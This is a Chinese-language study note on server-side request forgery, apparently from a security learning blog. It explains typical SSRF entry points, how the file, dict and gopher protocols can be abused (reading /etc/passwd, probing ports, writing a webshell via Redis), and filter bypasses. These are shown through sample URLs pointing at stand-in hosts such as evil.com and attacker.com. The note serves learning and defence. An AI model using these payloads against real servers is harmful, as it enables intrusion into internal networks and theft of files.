ssrf漏洞学习
一.认识
ssrf全称服务端请求伪造,当服务端处理用户请求的url地址或资源地址时,没有进行严格的过滤,以服务器的权限执行有攻击性的代码,从而达到访问服务器上任意文件或访问内网资产,对其他本不可达的内部资源进行攻击
二.简单攻击流程
1.在确定存在ssrf漏洞的基础上判断是有回显还是无回显
2.测试各种协议,判断过滤机制,常见可利用协议:
http/https://ipaddress/
file:///etc/passwd
dict://ip/
3.利用协议,绕过过滤收集相关信息
4.可配合其他漏洞进一步渗透
三.SSRF 典型特征
SSRF漏洞通常具有以下特征,这些特征也是识别潜在SSRF漏洞的重要线索:URL参数化:应用程序接受URL作为参数,并使用该URL获取资源。
1
/api/fetch?url=https://example.com/resource
资源加载功能:应用程序提供加载远程资源的功能,如图片、文件、网页内容等。
1
/preview?image=https://example.com/image.jpg
API集成点:应用程序与其他服务集成,并允许用户指定集成端点。
1
/integrate?endpoint=https://api.service.com/v1
回调URL:应用程序接受回调URL,用于异步通知或webhook。
1
/webhook/register?callback=https://my-service.com/notify
文档转换服务:应用程序提供HTML到PDF、URL到截图等转换功能。
1
/convert?webpage=https://example.com
三.常见协议利用
1.http/https协议
可以用本地IP地址127.0.0.1来访问服务器本身,从而暴漏某些敏感信息,ctf中flag常藏再服务器某个文件路径下
2.文件协议(file://)
用来访问本地文件,同上可暴漏敏感信息,常被禁止使用
3.字典协议(dict://)
用来与字典服务器进行交互,在ctf中可利用dict协议来进行端口探测,查看开放端口,对高危端口如3306,6379等端口进行探测可能会回显相关信息
4.gopher协议(最危险的协议)(https://zhuanlan.zhihu.com/p/112055947)
允许发送任意tcp数据,可以进行端口探测,任意命令执行
mysql命令执行,执行sql语句,爆出数据库:
[http://target.com/fetch?url=gopher://192.168.1.10:3306/_MySQL协议数据]
redis命令执行,在指定文件路径下上传webshell
http://target.com/fetch?url=gopher://192.168.1.10:6379/固定格式/var/www/html/webshll 写payload时同样有相关格式要求,可利用自动化工具goherus实现自动化payload生成
5.其他协议
四.常见绕过手段
1.ip地址绕过
禁止访问内部IP地址(127.0.0.1,192.168.0.0/16等内网IP)时:
1.进制转换
2.ipv6表示
[::1]或[::ffff:127.0.0.1]
3.dns解析
使用能够解析到本地的特殊域名,如locast,或使用自定义的dns记录,将域名解析到本地IP地址
4.url编码
5.非标准符分割
使用非指定标准分隔符,如。代替.
2.域名过滤绕过
当使用白名单或黑名单(?)时:
1.子域名技巧
http://target.com/fetch?url=http://attacker-controlled.example.com/
利用可控的example.com下的子域名
http://target.com/fetch?url=http://example.com.attacker.com/
做白名单过滤检测字符串中存在(example.com)绕过,同时域名解析的是attacker.com
2.域名前缀,url中user
http://target.com/fetch?url=http://allowed-domain.com@evil.com/
3.域名解析顺序,#在url中表示锚点,锚点后面的不会被发送到服务器,但某些库可能解析为用户信息分隔符导致绕过
http://target.com/fetch?url=http://evil.com#@allowed-domain.com/
4.idn同形异义词攻击
http://target.com/fetch?url=http://еxаmрlе.com/ # 使用西里尔字母,看起来是example实际不是
3.协议绕过
只允许指定协议时
1.协议嵌套
http://target.com/fetch?url=http://evil.com/file.php?url=file:///etc/passwd
2.url重定向
evil.com设置重定向到file:///etc/passwd
http://target.com/fetch?url=http://evil.com/redirect
3.相对协议url:使用相对协议//会继承当前页面的协议
http://target.com/fetch?url=//internal/
参考链接